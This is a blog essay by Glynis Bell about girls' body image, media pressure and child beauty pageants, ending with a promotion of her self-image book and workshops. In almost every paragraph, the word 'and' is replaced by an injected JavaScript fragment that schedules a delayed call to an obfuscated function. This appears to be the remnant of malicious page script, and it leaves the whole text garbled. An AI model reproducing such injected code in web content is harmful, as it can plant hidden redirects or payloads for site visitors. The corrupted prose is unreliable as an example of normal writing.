The Distorted Mirror of Body Image

6209957186_6056085224_z

>>6209957186_6056085224_zBy Glynis Bell

Have you ever been in a fun mirror house at a fair or amusement park?

I remember loving to go into them when I was young. I would standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the mirrors making funny faces andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and waving my arms wildly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeing my reflection being distorted. Sometimes it would go from skinny to fat or tall to short. It was all in fun back then, but in today’s ever changing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and often cruel world, many of our young girls are struggling with image distortion with their own bodies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it usually doesn’t involve a fun house mirror!

When it comes to young ladies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and having positive body image, honest conversations need to start at a very early age. Have you ever seen one of the pageant reality shows where young girls start as early as 11 months participating in beauty contests? It’s often disturbing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sad to see toddlers in a full face of makeup, false everything, spray-on tans, hair done, fluffy dresses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and high heels. At this impressionable time in their lives, they are starting to develop a sense of what “beauty” is or should be. As they grow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mature, these childhood teachings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experiences continue to be a part of their psyche both good andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not so good.

Girls’ images of themselves are shaped in large part by what they see around them in the media, on TV, on social media andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the internet. There is never a time when they are not being marketing to andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and told how they are supposed to look, dress or be. Consider that female models in the U.S. average a size 0 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the average woman is a size 14 or larger. It’s no wonder that young ladies can start to develop a complex about that what is a “perfect” body image. It has also been noted that when it comes to body image with young girls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and clothing, marketing to them takes on a sexual tone andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s much harder for girls to develop a healthy, non-sexualized relationship with their bodies.

The facts are disturbing as nearly half of the nation’s girls are unhappy with their bodies. According to the Center for Disease Control andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the National Association of Eating Disorders, by age 6 girls start to develop an obsession with thinness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and start to express concerns about their own weight andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shape. Even in their homes where their family follows healthy eating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exercise habits, there are still societal pressure influencing girls today. But on a good note, girls are playing more sports, dancing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and participating in martial arts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gymnastics. These activities can help them develop a healthy relationship with their bodies.

As mothers, mentors, aunties, sister friends, teachers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and concerned women in our community, it’s imperative that we talk to our young ladies about having a healthy body. Not so much about how it should look, but more on the importance of being healthy, confident andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and self-assured with themselves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their abilities. Equally important is their development of self-love andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what major role it plays in their well-being, self-esteem andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overall outlook on life.

As a philanthropist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advocate for women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and young girls, I published my first book earlier this year entitled >>Fierce & Fabulous-A Young Ladies Guide to Inspiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Positive Self-Image. The book is a guide to help teens, tweens andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and young adults embrace the bodies they have, how to dress it appropriately for any occasion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to respect themselves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and others do the same. I conduct workshops with young ladies (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and men, too) around the state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is amazing the feedback andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and response I receive from my audiences.

I also teach an interpersonal psychology class at the community college. I very much enjoy my interaction with my young audiences andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and find our young people need love andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and affirmation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they need to be listened to andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and heard. I also know that they have questions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are curious about lots of things andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that the internet shouldn’t be their only go-to source for information andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and answers.

I believe that each one should reach one andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teach one. If we do our part to have conversations, honest conversations with our young ladies individually andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and collectively, we can change their thinking, their actions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and positively affect their development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lives.




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